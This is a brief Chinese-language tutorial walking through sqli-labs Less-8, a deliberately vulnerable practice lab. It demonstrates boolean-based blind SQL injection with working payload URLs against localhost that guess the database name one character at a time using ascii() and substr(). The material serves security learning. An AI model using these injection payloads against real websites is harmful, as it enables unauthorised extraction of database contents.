【sqli-labs】 less8 GET

加单引号 没有任何信息输出

加and 页面变化,不正常是没有任何回显

http://localhost/sqli/Less-8/?id=1' and '1'='1
http://localhost/sqli/Less-8/?id=1' and '1'='2

出错也没有回显,考虑盲注,即通过不同请求页面的变化来作出判断

首先学习几个函数

length(str) 返回字符串的长度

if(a, b, c) 若条件a为真,返回b,否则返回c

substr(str, pos, len) 从pos位置起截取str字符串len长度的子串并返回

pos从1起

 ascii(str) 返回str第一个字符的ascii码

常用的ascii

0~9           48~57

A~Z          65~90

a~z           97~122

开始猜解数据库名

数据库名的第一个字符的ascii码值大于64,页面就正常

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>64%23  

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))>96%23  

http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()),1,1))<123%23  

可以判断第一个字符为小写英文字母

利用二分法

 

则第一个字符为ascii码为115的字符,即 's'

第二个字符ascii码101,即字符 'e'

知道原理后可以写一个脚本完成猜解工作

数据库名为security

原文地址:https://www.cnblogs.com/omnis/p/8318639.html